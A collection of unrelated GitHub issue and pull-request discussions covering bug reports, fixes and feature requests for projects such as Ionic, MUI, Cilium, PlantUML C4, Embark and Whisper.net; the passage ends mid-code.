update default kube version to v1.30

updating default k8s version to v1.30 for kind cluster

Thanks for this! Could you please fix DCO?


perf: Collection repeat memory leak

Type: perf
Platform: all
In the destroy function of collection-repeat directive, computedStyleNode never has a parent.
Moreover using removeChild just detach the node, but it doesn't remove events attached on it (or on childs) by other directives (like ng-click).
This causes the detached DOM of the scroll view to be kept in memory.
If I replace it with angular.element(computedStyleNode).remove(); all works fine.

Greetings @85lele!
I've closed this issue because my sensors indicated it was old and inactive, and may have already been fixed in recent versions of Ionic. However, if you are still experiencing this issue, please feel free to reopen this issue by creating a new one, and include any examples and other necessary information, so that we can look into it further.
Thank you for allowing me to assist you.

Can this issue be reopened? This seems to be a simple solution to a very common problem, and can provide huge value.

+1


[pickers] Fix Fade animation behavior change

This is a follow-up on https://github.com/mui-org/material-ui/pull/27273#pullrequestreview-706260994. It fixes something that I have noticed during the review. See the behavior when JavaScript is disabled:
v5.0.0-beta.0: https://next.material-ui.com/components/date-picker/#static-mode

HEAD: https://next--material-ui.netlify.app/components/date-picker/#static-mode

The fix is to set http://reactcommunity.org/react-transition-group/transition#Transition-prop-appear. It makes me think of https://github.com/mui-org/material-ui/issues/26108#issue-874822103. We might want to change the default value in v6.
Preview: https://deploy-preview-27283--material-ui.netlify.app/components/date-picker/#static-mode

Also: let's not add this "regression" label. It makes it hard to search for bugs.

Can't reproduce but having one less transition is good anyway.

@eps1lon Would it work with is? https://codesandbox.io/s/staticdatepickerdemo-material-demo-forked-9pypl. I'm on Chrome 91 but I can reproduce with any user-agent
https://user-images.githubusercontent.com/3165635/125765690-8b00633d-4279-4211-a217-dc64209901cc.mp4
You would see a appear animation in "@material-ui/lab": "5.0.0-alpha.40", that we didn't have in "@material-ui/lab": "5.0.0-alpha.39",.

Also: let's not add this "regression" label. It makes it harder to search for bugs.

No strong perspective on this one. I have introduced it recently because we started to use it in @mui-org/x to give more priority to the regressions. But I also hear that regression is a subset of bugs, we can no longer search bugs with the bug only label. We could rollback.
How about we bring this topic to the next retrospective?


Azure drop URL ignored

In this job, the Azure drop URLs are:

https://dev.azure.com/neuronsimulator/aa1fb98d-a914-45c3-a215-5e5ef1bd7687/_apis/build/builds/13454/artifacts?artifactName=drop&api-version=7.1&%24format=zip
https://dev.azure.com/neuronsimulator/aa1fb98d-a914-45c3-a215-5e5ef1bd7687/_apis/build/builds/13373/artifacts?artifactName=drop&api-version=7.1&%24format=zip

which should yield NEURON from this PR and this commit on master, respectively.
The latter has a filename like NEURON_nightly-9.0a1.dev379-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl, while the above job has the below in the logs:
Looking in links: /home/runner/work/nrn-modeldb-ci/nrn-modeldb-ci/DROP_V2
Collecting neuron-nightly
  Downloading NEURON_nightly-9.0a1.dev387-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (4.0 kB)
...
Downloading NEURON_nightly-9.0a1.dev387-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (18.4 MB)

meaning that it just downloads whatever is latest on PyPI and simply ignores the drop altogether, rendering the CI results useless.

This is most likely an instance of https://github.com/pypa/pip/issues/12110, so this is technically not a bug in the CI, but a (albeit undocumented) "feature" of pip.


Supporting a proposal

Working, but tests are still work in progress. Going to merge as to not block the remainder of the project.
You might notice the logic is all within the component itself. I'm following this: http://www.samselikoff.com/blog/how-ember-data-affects-data-down-actions-up/

like on the other PRs, I'm merging from the command line and continuing work on the other branches, but would still be great to have the PR reviewed and comments,


Is this because my server has no tun module loaded in kernel ?

See this screenshot, left side is server, right side is client.

It's not clear to me that this has anything to do with the kernel module loaded.
On a machine where udptunnel, I get the same error:
rawr@obsidian: ~ $ cat /dev/net/tun
cat: /dev/net/tun: File descriptor in bad state

Your situation is a bit confusing since it seems that you have both the client and server machine named "chip".

You can test if the server tunnel is at least working by running ping <IP_ADDRESS> in a terminal on the machine running in server mode.
You can test if the client tunnel is at least working by running ping <IP_ADDRESS> in a terminal on the machine running in client mode.

If both of those succeed, then it indicates that the TUN device is functioning properly. The next suspected issue is that UDP packets are not properly being sent between server and client.

Maybe that's because tun module problem.
I moved to another box and succeed , in LAN.
I'll try it from behind a firewall to outside.
How to write multiple allowed ports?
[22, 80, 2022]  In this form ?
And how can I write  configurations  when I mapping ports on the firewall,
internal_ip:22 -> public_ip:2022

Seems like it didn't work on some complex ISP networks.
I'll try more scenarios.

How to write multiple allowed ports?

The AllowedPorts option only applies to the the virtual private network and should have no correlation with your external firewall settings.


Release 1.0.0 Changelog

This creates a full CHANGELOG.md based on all of the release notes. It also creates the 1.0.0 release notes giving descriptions of the various new features.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>5
Details

4 of 4 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.004%) to 95.336%

Totals

Change from base Build<PHONE_NUMBER>1:
0.004%

Covered Lines:
2821

Relevant Lines:
2959

💛  - Coveralls

I think in the example it would be nice to have an example with a literal user-defined struct getting returned from the structure function. And the fields of that struct could depend nonlinearly on the functions evolved.

e.g.,
struct Energy{T}
    hamiltonian::T
    lagrangian::T
end

energy(nt) = map(
    (T, V) -> Energy(T + V, T - V),
    nt.T, nt.V
)
energy(nt::NamedTuple{<:Any,Tuple{Vararg{String}}}) = (
    "(T = $(nt.T), V = $(nt.V))"
)

variable_mapping = (; T = [1], V = [2])

and then do a search based on some values of H and L!


Align whitelist with race-sensitive language and bias free comms

Please change references of whitelist on this page to allow list.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2bf07caa-0d20-1738-7242-dfd92f03f26a
Version Independent ID: dada2e27-8354-4e3b-324e-5ddcffda1f06
Content: Connect your Azure Databricks Workspace to your on-premises network - Azure Databricks
Content Source: databricks/administration-guide/cloud-configurations/azure/on-prem-network.md
Service: azure-databricks
GitHub Login: @mssaperla
Microsoft Alias: saperla

@GossiTheDog Thanks for the feedback and helping us to improve MS doc content. Could you please elaborate more on your feedback? A few specific details would help us to make the necessary updates.
Thank you.

@mssaperla Could you please have a look at this feedback? - Thank you.

This was resolved quite awhile ag,o but the issue was not updated. #please-close


[Feature][3.3] Triple rest useTrailingSlashMatch useSuffixPatternMatch support #14036

What is the purpose of the change
support useTrailingSlashMatch useSuffixPatternMatch #14036
Brief changelog
Added constructor method and added support for useTrailingSlashMatch useSuffixPatternMatch
Verifying this change
No

Checklist

[x] Make sure there is a GitHub_issue field for the change (usually before you start working on it). Trivial changes like typos do not require a GitHub issue. Your pull request should address just this issue, without pulling in other changes - one PR resolves one issue.
[ ] Each commit in the pull request should have a meaningful subject line and body.
[ ] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[ ] Check if is necessary to patch to Dubbo 3 if you are work on Dubbo 2.7
[ ] Write necessary unit-test to verify your logic correction, more mock a little better when cross module dependency exist. If the new feature or significant change is committed, please remember to add sample in dubbo samples project.
[ ] Add some description to dubbo-website project if you are requesting to add a feature.
[ ] GitHub Actions works fine on your own branch.
[ ] If this contribution is large, please follow the Software Donation Guide.

changelog:

support useTrailingSlashMatch useSuffixPatternMatch
fix dependencies
delete a test because it always failed even I do nothing.This test case has no relation to my modifications(I clone the resource code and run test ,it logged: Wanted but not invoked:errorTypeAwareLogger.info();-> at org.apache.dubbo.config.utils.ConfigValidationUtilsTest.testCheckQosInApplicationConfig(ConfigValidationUtilsTest.java:118)
Actually, there were zero interactions with this mock.
)


Move timeouts to pathio

What do you think about moving path timeouts to pathio? This will simplify the server and client (since pathio will be used in client too) code. What is better:

use timeout per method, as keyword argument?
use timeout per instance, as initialization argument?

Second looks more elegant.
Also, definetly there is place for decorator.

my vote is for make it an init param, and change all the calls like yield from asyncio.wait_for(connection.path_io.is_dir(path), connection.path_timeout, loop=connection.loop) in Server to simple yield from connection.path_io.is_dir(path)

Yeah, when I created this issue I thought same. But pathio is kind-like user space code. I mean pathio is positioned as an extensible (via inherritance) implementation of path operations, so should we bring those timeouts to user? This will reduce the core «power», «stability», «centralization» (I don't know right words here). Btw, same with user manager.

user might not want to actually timeout path operations for some reason - you could just provide with_timeout() decorator so he could decide whether to use it or not in his implementation.
Actually you can even make something like http://ideone.com/JwhxvP and use it in any object, why not.

@rsichny you beat me, I think about same right now :smile:

Also, I think there should be no timeout argument check in decorator and it should be crashed, since this can help when debugging and prevent error when user think it is with timeout, but it actually not.
def with_timeout(f):

    @functools.wraps(f)
    def wrapper(cls, *args, **kwargs):

        coro = f(cls, *args, **kwargs)
        return asyncio.wait_for(coro, cls.timeout, loop=cls.loop)

    return wrapper

my code was just a quick example, if you think AttributeError is correct behavior - go for it, it might be really better solution to fail then silently ignore the decorator ;)


Is there anyway to open a new tab in flutter?

First thanks author provide this good plugin for us. Please keep updating! I like your plugins.
For now I have a problem I want to build a browser app but I do not know how to make multiple tabs in flutter . Every tab or web page I base on your plugin by appWebView . I try to use pageView to control all tabs but works not well and I do not know if it is a suitable way. Is there anyone can give me a solution? Thanks!
I hope author could update a function to make multiple tabs . Thanks so much if could do it!

Hi @Karatla! Thanks!
However, for something like multiple tabs, you need to implement it your self using the various flutter widgets and gestures and instantiating a WebView for each "tab" of your browser app.
That's because the goal of this plugin for InAppWebView is to provide the most complete cross-platform WebView with which to create everything you want.
So, I think that "multiple tabs" is outside of the scope because it is something you can implement your self, just as I said before.
However, I was already thinking about making a tutorial on how to make a browser app using InAppWebView (maybe something like the Chrome browser). Also, I have in mind another tutorial to show better some use cases. But these things take time. I will make them as soon as possible!

Thank you so much !


does react-native-timer-picker works in New Architecture?

I tried it in new architecture but doesnt work, shows unsupport message? does this lib works on new arch?

Hey @inthisar-hamza 🙌
Thanks for raising this. I haven't yet tried running it on the new architecture so I'm not surprised it doesn't work!
I will put this on the roadmap, but feel free to submit a PR if you have the time. I don't imagine it would be a major piece of work to make it work on the new architecture.

@troberts-28 can you provide an estimated duration, if that is possible, required for my project Hackathon

I won't have time work on this for at least a couple of weeks unfortunately. Best of luck with the Hackathon!

Hey @inthisar-hamza, the library has now been made fully compatible with the new architecture in v2.0.0 🙌


CLOUDP-45785: Dynamic service catalog

Previously we hardcoded the available instance sizes which would be used for the service catalog. With this PR we instead make use of the private Atlas API to fetch available instance sizes for each provider.
We are also going to add comments to the MMS codebase indicating that we are using the private API. That work is being tracked in CLOUDP-47921 and I'm awaiting access to create a pull request against MMS.

Yes! Thank for catching that, removed.


Update LLVM/MHLO to week of 2022/11/14

Green LLVM commit: e864ac694540342d5e59f59c525c5082f2594fb8
Green MHLO commit: eab364ba2a66bd0613efb94f8a738c1c97aaee92
The commits listed above are the green commits from Nov. 14.
Changelog:
mlir-hlo changed their directory structure, requiring two include_directories directives to make it buildable.
Generation of #map has changed, requiring large NFC changes to test references.

Glad you made me do this @ljfitz. It was huge pain in the butt and my fingers hurt from copy-search-select-pasting so much, but it was definitely worth it, looking at the diff now 😄

Closed in favor of https://github.com/onnx/onnx-mlir/pull/ 1905


Rules do not fire if no reactions can occur.

Just made a test involving a Model with a rule to add inducer at some set time. The inducer doesn't do anything -- it's just there to test Rule functionality. As it happens, when I simulate (stochastically), the simulation effectively ends at some time t because a key reactant A runs out and can't be replaced.
Everything works fine if I set the inducer to be added before t. If I nudge the induction time so that the inducer is added after t, even just slightly, then the rule seemingly never fires and the inducer never gets added. This could matter a lot if, for example, the inducer caused production of A.
I suspect this is happening either because a) the SSA simulator only checks rules when a species changes state (which never happens if there are no more possible reactions) or b) because the SSA simulator can tell that there are no more possible reactions and skips ahead to the end.

(The model in question is one of the models in a serialization test I'm currently writing. I'll try to remember to update this with a more specific reference when the test gets added to the repo.)

Behavior can be seen in test_serialization.py, in tests, in the first test (test_random_complex_model). If you plot out all of the species in prepickling_results (or postpickling_results, they're identical), you'll see I jump up from 0 to 10 concentration at t=2. If you change M.create_parameter("T_I0", 2) to M.create_parameter("T_I0", 3), you'll see the jump fails to happen.

More specifically, in standard SSA simulator (and potentially in the Lineage SimualteSingleCell) rule applications can be skipped if reactions fire far apart as the simulator will jump to the next fire time without applying rules inbetween.


How do I receive the URL of the page currently looked at?

 Thanks!

Hi @mrjcleaver, that's not related to this extension, and also for the security/privacy purpose, the extension doesn't have the ability/request to read title/content of your loaded page.

Great, thanks for the prompt answer!


Release new version of MintMaker to production

!!! Please DON'T MERGE/APPROVE this yet. @qixiang will take care of it.


Changing functions to return functions.

As noted here, !define should be replaced with a return function. This allows cmapx links to continue to work
for linked C4 diagrams.
It looks like this is conflicting w/ the recent sprite work, but when I pull the sprite work its failing. Happy to rebase and correct conflicts once latest is ready.
The following plantuml will generate a png and a cmapx file w/ links:
@startuml Gallery
!include ../C4_Component.puml

Component(component, "Component", "tech") [[http://example.com/Component]]
Component(component_desc, "Component", "tech", "desc") [[http://example.com/Component_desc]]
ComponentDb(componentdb, "ComponentDb", "tech") [[http://example.com/ComponentDb]]
ComponentDb(componentdb_desc, "ComponentDb", "tech", "desc") [[http://example.com/ComponentDb_desc]]

!include ../C4_Container.puml

Container(container, "Container", "tech") [[http://example.com/Container]]
Container(container_desc, "Container", "tech", "desc") [[http://example.com/Container_desc]]
ContainerDb(containerdb, "ContainerDb", "tech") [[http://example.com/ContainerDb]]
ContainerDb(containerdb_desc, "ContainerDb", "tech") [[http://example.com/ContainerDb_desc]]

Container_Boundary(container_boundary, "Container Boundary") [[http://example.com/Container_Boundary]] {
 foo --> bar
}

!include ../C4_Context.puml
Person(person, "Person") [[http://example.com/Person]]
Person(person_desc, "Person", "desc") [[http://example.com/Person_desc]]
Person_Ext(person_ext, "Person_Ext") [[http://example.com/Person_Ext]]
Person_Ext(person_ext_desc, "Person_Ext", "desc") [[http://example.com/Person_Ext_desc]]
System(system, "System") [[http://example.com/System]]
System(system_desc, "System", "desc") [[http://example.com/System_desc]]
System_Ext(system_ext, "System_Ext") [[http://example.com/System_Ext]]
System_Ext(system_ext_desc, "System_Ext", "desc") [[http://example.com/System_Ext_desc]]
SystemDb(systemdb, "SystemDb") [[http://example.com/SystemDb]]
SystemDb(systemdb_desc, "SystemDb", "desc") [[http://example.com/SystemDb_desc]]
SystemDb_Ext(systemdb_ext, "SystemDb_Ext") [[http://example.com/SystemDb_Ext]]
SystemDb_Ext(systemdb_ext_desc, "SystemDb_Ext", "desc") [[http://example.com/SystemDb_Ext_desc]]
@enduml

<map id="plantuml_map" name="plantuml_map">
<area shape="rect" id="id1" href="http://example.com/SystemDb" title="http://example.com/SystemDb" alt="" coords="176,581,258,613"/>
<area shape="rect" id="id2" href="http://example.com/SystemDb_Ext" title="http://example.com/SystemDb_Ext" alt="" coords="451,581,566,613"/>
<area shape="rect" id="id3" href="http://example.com/Person" title="http://example.com/Person" alt="" coords="469,259,545,312"/>
<area shape="rect" id="id4" href="http://example.com/System" title="http://example.com/System" alt="" coords="326,412,404,465"/>
<area shape="rect" id="id5" href="http://example.com/ContainerDb_desc" title="http://example.com/ContainerDb_desc" alt="" coords="321,270,424,318"/>
<area shape="rect" id="id6" href="http://example.com/ContainerDb" title="http://example.com/ContainerDb" alt="" coords="163,270,266,318"/>
<area shape="rect" id="id7" href="http://example.com/SystemDb_desc" title="http://example.com/SystemDb_desc" alt="" coords="313,564,395,630"/>
<area shape="rect" id="id8" href="http://example.com/ComponentDb" title="http://example.com/ComponentDb" alt="" coords="321,106,440,153"/>
<area shape="rect" id="id9" href="http://example.com/Person_desc" title="http://example.com/Person_desc" alt="" coords="580,243,656,328"/>
<area shape="rect" id="id10" href="http://example.com/Person_Ext" title="http://example.com/Person_Ext" alt="" coords="6,412,131,465"/>
<area shape="rect" id="id11" href="http://example.com/System_Ext" title="http://example.com/System_Ext" alt="" coords="553,412,678,465"/>
<area shape="rect" id="id12" href="http://example.com/Container" title="http://example.com/Container" alt="" coords="659,88,758,155"/>
<area shape="rect" id="id13" href="http://example.com/System_desc" title="http://example.com/System_desc" alt="" coords="439,396,517,481"/>
<area shape="rect" id="id14" href="http://example.com/SystemDb_Ext_desc" title="http://example.com/SystemDb_Ext_desc" alt="" coords="621,564,736,630"/>
<area shape="rect" id="id15" href="http://example.com/Component" title="http://example.com/Component" alt="" coords="11,88,126,155"/>
<area shape="rect" id="id16" href="http://example.com/ComponentDb_desc" title="http://example.com/ComponentDb_desc" alt="" coords="495,89,614,169"/>
<area shape="rect" id="id17" href="http://example.com/Container_desc" title="http://example.com/Container_desc" alt="" coords="19,236,118,336"/>
<area shape="rect" id="id18" href="http://example.com/System_Ext_desc" title="http://example.com/System_Ext_desc" alt="" coords="6,546,131,632"/>
<area shape="rect" id="id19" href="http://example.com/Person_Ext_desc" title="http://example.com/Person_Ext_desc" alt="" coords="166,396,291,481"/>
<area shape="rect" id="id20" href="http://example.com/Component_desc" title="http://example.com/Component_desc" alt="" coords="161,71,276,171"/>
<area shape="rect" id="id21" href="http://example.com/Container_Boundary" title="http://example.com/Container_Boundary" alt="" coords="776,24,954,331"/>
</map>

Hi, thanks for the pull request. I will take a look into it and resolve the conflicts.

Hi, while merging the commit I noticed that this issue with the links got fixed on commit d8c061979a343cac6316b40a706c8a190cb54ce9 by accident. Changing the function to procedures when no return is present, works as expected.
For example:
@startuml "enterprise"
!include https://raw.githubusercontent.com/adrianvlupu/C4-PlantUML/latest/C4_Context.puml
' uncomment the following line and comment the first to use locally
' !include C4_Context.puml

LAYOUT_TOP_DOWN()
'LAYOUT_AS_SKETCH()
LAYOUT_WITH_LEGEND()

Person(customer, "Customer", "A customer of Widgets Limited.") [[http://example.com/person]]

Enterprise_Boundary(c0, "Widgets Limited") [[http://example.com/boundary]] {
    Person(csa, "Customer Service Agent", "Deals with customer enquiries.") [[http://example.com/person]]

    System(ecommerce, "E-commerce System", "Allows customers to buy widgts online via the widgets.com website.") [[http://example.com/system]]

    System(fulfilment, "Fulfilment System", "Responsible for processing and shipping of customer orders.")
}

System(taxamo, "Taxamo", "Calculates local tax (for EU B2B customers) and acts as a front-end for Braintree Payments.")

System(braintree, "Braintree Payments", "Processes credit card payments on behalf of Widgets Limited.")

System(post, "Jersey Post", "Calculates worldwide shipping costs for packages.")

Rel_R(customer, csa, "Asks questions to", "Telephone")

Rel_R(customer, ecommerce, "Places orders for widgets using")

Rel(csa, ecommerce, "Looks up order information using")

Rel_R(ecommerce, fulfilment, "Sends order information to")

Rel_D(fulfilment, post, "Gets shipping charges from")

Rel_D(ecommerce, taxamo, "Delegates credit card processing to")

Rel_L(taxamo, braintree, "Uses for credit card processing")

Lay_D(customer, braintree)

@enduml

generates
https://www.plantuml.com/plantuml/svg/0/ZLJRRjf047ttLqnv2P4QgAe-zIdSchHr6nH0KHKXQraFiCfwrzbB2AhwxvsrZMqeaOfuy5xEd3DdZdrj7JFEPn8wg1oQt0YBdUYTK5pw567hN6u_z_k6xNeRuRP-vIqQhkckSZskipvBZM3gHVhSzqUVhgQIARVu4VSbSsWTRIMZSFlLzNAYYIx0Au9b10UtHLXhAVLEg0r8eH2OIk7eM1XBJng85gJcJCezrQZrdPQFui6lkyKycTzDa_7Tmy_kPNHHRGrcoUpxP3wwfRrgw-7h_3Q99pUJdsFQZAPeh5PTxgtJ6Phtq1bLZnrw7i3X0FGQ7aIwGMSX5fbmcFOwb_3u6DmYi_2LPRd4mfwygBbSHj6azZSPQgzIPlPT_e4AdvHwgzAg0YsNy3i2-XtaMjPI2ZCqBu8Z33RaOT0zHYOjx6XuJGEedhqm0kr_w0vKixrrc7Mn68tXI6KdLuT5TLfu58PfQnuR9hVoUs9FDzIXLiMGNmGhXhih6mzyiCELfUxVr6CBZXCzQo_NGeQm4FUNUj4IT8ysrygAbGnHCv0RpT7QaBSGDRiLUHuMDD5ckYObwQGa-XD55PDZf4LJmNdn44gFcEI-I7aPJA0xq0qaamKCFmuR5ouBBiR90KP_M1kAx1NINhWzD4mePn1XolP1Va5z85uTJedntvj1nxHiYMHmWwbmm9b98QzkaEUmmYsJw_EfhOboROEBtqWlxc5AgvCcTzh8b4Q6ZMkSRjdILyQVs0PBwVSea_lMQrGcT62VB3nx-YW8cWWb8zIVeyHygnMUmxNZHjyLwhAQJK5PfOU-32IbWfSlGniNQqsqFY-H81H1CnOa7069juKwojMC1cNFmAc12Zi-2c9bv4tGrZYrPORi2QFF6bYBiWxOc1pP58OVZRF9RSCRrx5ifsGHeX0CEeyFu9ZjYRqnkeRJsJMrIr_Ilm00

Let me know if it's still worth it to merge the return functions or if I'm missing something


pkg/maps: create CtKeyGlobal structures

As Ct{4,6}Key were being passed to the initialization of the BPF Maps
cilium was not correctly dumping the content of the ct global maps as
the Dump method used of for local CT maps.
Fixes: 79c247a955f8 ("pkg/{bpf,datapath,maps}: use same MapKey and MapValue in map iterations")
Signed-off-by: André Martins<EMAIL_ADDRESS>Correctly dump CT entries for Global maps

This change is

test-me-please

test-me-please

test-me-please

test-me-please

Coverage increased (+0.04%) to 41.821% when pulling 825a4e28f9dd31c0a25b95e321e4e6387be8e791 on pr/add-global-structures into 5097dc1be71916d19064a16773f38de44f070634 on master.

test-me-please

2019-05-16T23:15:22.793284009Z panic: interface conversion: bpf.MapValue is *tuple.TupleValStub, not *ctmap.CtEntry
2019-05-16T23:15:22.793314752Z
2019-05-16T23:15:22.793319515Z goroutine 79183 [running]:
2019-05-16T23:15:22.793322711Z github.com/cilium/cilium/pkg/maps/ctmap.Lookup(0x3107263, 0x6, 0xc002210520, 0x11, 0xc0028147c0, 0xf, 0xc002810106, 0xc001a244d0, 0xc001a24530, 0x12da910)
2019-05-16T23:15:22.794126359Z  /go/src/github.com/cilium/cilium/pkg/maps/ctmap/lookup.go:223 +0x65d
2019-05-16T23:15:22.794165677Z github.com/cilium/cilium/pkg/proxy.lookupSrcID(0x3107263, 0x6, 0xc002210520, 0x11, 0xc0028147c0, 0xf, 0x1, 0xc000ec3da0, 0x177af8a, 0xc000525e40)
2019-05-16T23:15:22.794170916Z  /go/src/github.com/cilium/cilium/pkg/proxy/socket.go:449 +0x95
2019-05-16T23:15:22.794191192Z github.com/cilium/cilium/pkg/proxy.(*kafkaRedirect).handleRequests(0xc001516720, 0xc001945920, 0xc000f8c720, 0xc000e2e140, 0xc0013b7e60)
2019-05-16T23:15:22.794195329Z  /go/src/github.com/cilium/cilium/pkg/proxy/kafka.go:413 +0x31a
2019-05-16T23:15:22.794198391Z github.com/cilium/cilium/pkg/proxy.(*kafkaRedirect).handleRequestConnection(0xc001516720, 0xc000f8c720)
2019-05-16T23:15:22.794201252Z  /go/src/github.com/cilium/cilium/pkg/proxy/kafka.go:502 +0x1e3
2019-05-16T23:15:22.794203979Z created by github.com/cilium/cilium/pkg/proxy.(*kafkaListener).Listen
2019-05-16T23:15:22.794206844Z  /go/src/github.com/cilium/cilium/pkg/proxy/kafka.go:131 +0x8da

test-me-please

test-me-please

test-me-please

test-me-please

test-me-please

test-me-please

test-me-please

Hit #7902 only

Removed backport label as  79c247a was reverted in v1.5


Open File not working

What am I doing wrong? Just installed version 2.0 on my Mac. When I try to open a file, nothing happens.

Try Helium 3.0.3596.

The link you provided is invalid.

I've searched everywhere and there appears to be no higher version than the one I have, below 3.0. Thanks

Yes I believe that's true as Jaden hasn't updated in quite a while.  You might try 3.0 which I maintain.

Excellent. Thank you. Works now. Much appreciated.

sorry to bother but it still doesn't work.
my system version is mojave 10.14.2

Yes I believe that's true as Jaden hasn't updated in quite a while. You might try 3.0 which I maintain.

@slashlos could you please upload the 3.0 one more time? The link doesn't work anymore. Thank you so much

Helium 3.0.4125 still resolves, the .dmg is ~25MB.
Just verified on a new mini running 10.12 - the lowest version I support.  Enjoy.


redirect_dir=on

kmxz using your merge tool with a single lower in https://github.com/StuartIanNaylor/zram-config.
Firstly many thanks as even though OverlayFS is now a mainline module there seems to be a total lack of any tools apart from yours.
I am terribly new to OverlayFS but when it comes to renaming folders and redirect_dir do you plan to add support?

At the time I wrote this tool, redirect_dir wasn't there yet. I will try to support it when I have time.

Brilliant because as far as I am aware overlayfs-tools is the only tool in existence and has just the best licence.
I am a terrible scripter and my C is non existent and the merge down to a single lower for https://github.com/StuartIanNaylor/zram-config just wouldn't be possible without merge and if you ever have the time to maybe quell my curiosity how it seems to be a kernel module with the absence of any tools seems weird?
Anyway if you do I will endeavour to  WTFPL and if it could also have an output directory and 'run script' option that would be awesome but secondary.
https://github.com/StuartIanNaylor/zram-config is just a hack for makers, IoT and tinkerers and it would really appreciate overlayfs-tools in fact its essential.
So currently on my mounts I should run -o redirect_dir=off at the moment then?

kmxz dunno if I can twist your arm and just ask if you had time to have a look.
My C is non existent but also with latest version of Arch running into compile probs with http://git.savannah.nongnu.org/cgit/attr.git/commit/?id=7921157890d07858d092f4003ca4c6bae9fd2c38

Hows it doing? Time or just a pain?


Remove compute_node_connectivity.yaml

The validator calls "ip r" and parses for default routes. If you have multiple nics it fails because it tries to ping many IPs on the same command line.
This validator should be removed as the test is implemented in the Tripleo Heat Templates anyways.

Thank! We have removed the validation from the ansible1.9 branch:
https://github.com/rthallisey/clapper/pull/94
If you do a git pull, it should be gone.


7nable to message others

Subject: 7nable to message others
Description:
Tried to message someone.
Results:
Every time I try to message someone, I get a prompt to update my profile. But it is already complete in all fields as far as I can tell.
Do I have to be accepted as a friend first?
Backend version: develop-87ba8c7a
Frontend version: develop-87ba8c7a
User Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/26.0 Chrome/<IP_ADDRESS> Mobile Safari/537.36
Page: https://couchers.org/profile
User: delzen (1037)

Not a bug

Dupe of #5050


Refactor of blockchain's accounts

This is the first step of implementing the new accounts for the blockchain config (as badly described here: https://github.com/status-im/embark-specs/issues/13)
Since the spec is not super clear, let me try to explain what this PR does:

Get rid of account{} and simulatorMnemonic as they were confusing
The mnemonic used by the simulator now comes from accounts[x].mnemonic (so if there's a mnemonic in the accounts array)
Add the same account configuration as in the contract config (accounts array with multiple types of accounts)
Accounts using nodeAccount: true count as "real" node account (so geth and parity accounts that need to be created and unlocked)

Those use the password field to create the account and unlock it
In the spec, there was promptPassword, but I didn't add it yet, because it's way more complex and this PR is already pretty big

All other account types are kind of like "proxy" accounts. They count as part of the nodeAccounts in the contract config (so they are used as if they came directly from the node), but are not unlocked by Geth or Parity.

With the way I did it right now, it would be super easy to actually get rid of the accounts in contracts config and only use the ones in blockchain, as they use the same params and are both mostly processed by the provider.
I tested this using Geth, Parity and the simulator, but it still is a breaking change, so would need more tests to be really sure it's not bugged.

Remind me to write docs for this

@alaibe Changes done. It's actually better like you asked for the validation, because it fails quicker that way.
Tell me when it's good so that I can squash again.

This is ready for a final review. Added the docs urls and rebased.
Might be worth to wait for the next alpha release before merging though, to be sure.

From what I can see in the changes, it doesn't seem to be too hard to keep support for the older syntax, which would mean we wouldn't break people's apps.

I would disagree with this statement, it is super hard in the current state.
If you look at the config, this is extremely complex, sometimes we validate in config, sometimes in the module, sometimes not, sometimes there is default, sometimes not...
The inputs are not even validated
I could carry on like that a lot.
So that means that if this is weak, it is easily broken, it is complex to understand for the end user.
Hence why I would keep to the minimum until we have an implementation that allows us to be more friendly.

Okay, fair enough. I was just hoping there'd be a chance to not introduce a breaking change if possible. I probably underestimate the current state of affairs.
But I fully agree, from a user perspective it should just be as easy as possible.

So for context, we wanted to remove because it was confusing to have different types of accounts between blockchain and contracts. Also, that way, we can slowly deprecate contract accounts and only use the blockchain accounts. Here is the spec we created back in the days: https://github.com/status-im/embark-specs/issues/13
We could support both, but if accounts (new) is specified, we ignore the old one, which can be confusing (even more) for the user. So I think that breaking now that we move to a major might be ok. What do you think?

Also, that way, we can slowly deprecate contract accounts and only use the blockchain accounts.

That actually answers my question in: https://github.com/embark-framework/embark-site/pull/113#discussion_r237005382
So blockchain accounts will replace contracts accounts?

So I think that breaking now that we move to a major might be ok.

Yea, we're definitely in a "good" position to place a breaking change. In general, however, I'd always try to push those back as much as we can.

We could support both, but if accounts (new) is specified, we ignore the old one, which can be confusing (even more) for the user

This is a matter of documenting those clearly. In fact, we have already several spots in the docs where we focus on the newer syntaxes and then add info boxes about older (but still available) syntaxes.
Anyways, if it's indeed too complex I'm fine with introducing a breaking change considering that we're on a major release alpha phase.

Just checked with Iuri and I have a small little improvement to make before merging.


Ducks spawn in ice biomes.

Close this if its intented. But alot of ducks and geese spawn in ice tundras and so on.

Don't think I wanna fix it. They should only spawn on grass blocks but in every biome. This has the advantage of them also spawning in newly added biomes by mods.


Poor real-time speech recognition performance for Chinese

        private void LoadModel()
        {
            whisperFactory = WhisperFactory.FromPath("\\ggml-small.bin");
            processor = whisperFactory.CreateBuilder()
            .WithLanguage("zh")
            .Build();
        }

The effect of wav file recognition is good, but there will be some irrelevant results in real-time speech recognition. I use Naudio, Wavesource. BufferMilliseconds = 2000, recognizing it once after recording for 2 seconds.

I use NAudio to record audio and save it as a WAV file locally. When I immediately use Whisper for prediction, it recognizes irrelevant content. However, when I don't record again and instead use Whisper to predict the same local file, it can recognize the audio content. Are there any specific things I should be aware of that I might have overlooked? Thank you.
        private void AudioRecStartHandle(object obj)
        {
            //if (File.Exists(tempWavFileName)) { File.Delete(tempWavFileName); }
            nAudioHelper.StartRec();
        }

        private async void AudioRecStopHandle(object obj)
        {
            try
            {
                nAudioHelper.StopRec();
                Thread.Sleep(500);
                using FileStream fileStream = new FileStream(tempWavFileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                await foreach (var result in processor.ProcessAsync(fileStream))
                {
                    string recognizedText = result.Text;
                    if (string.IsNullOrEmpty(recognizedText))
                    {
                        fileStream.Dispose();
                        break;
                    }
.....     }

        public void StartRec()
        {
            WaveSource = new WaveIn();
            var filePath = "D:\\2_WPF画面\\WPFSamples-main\\WpfControlsX\\WpfControlsX\\Resource\\temp.wav";
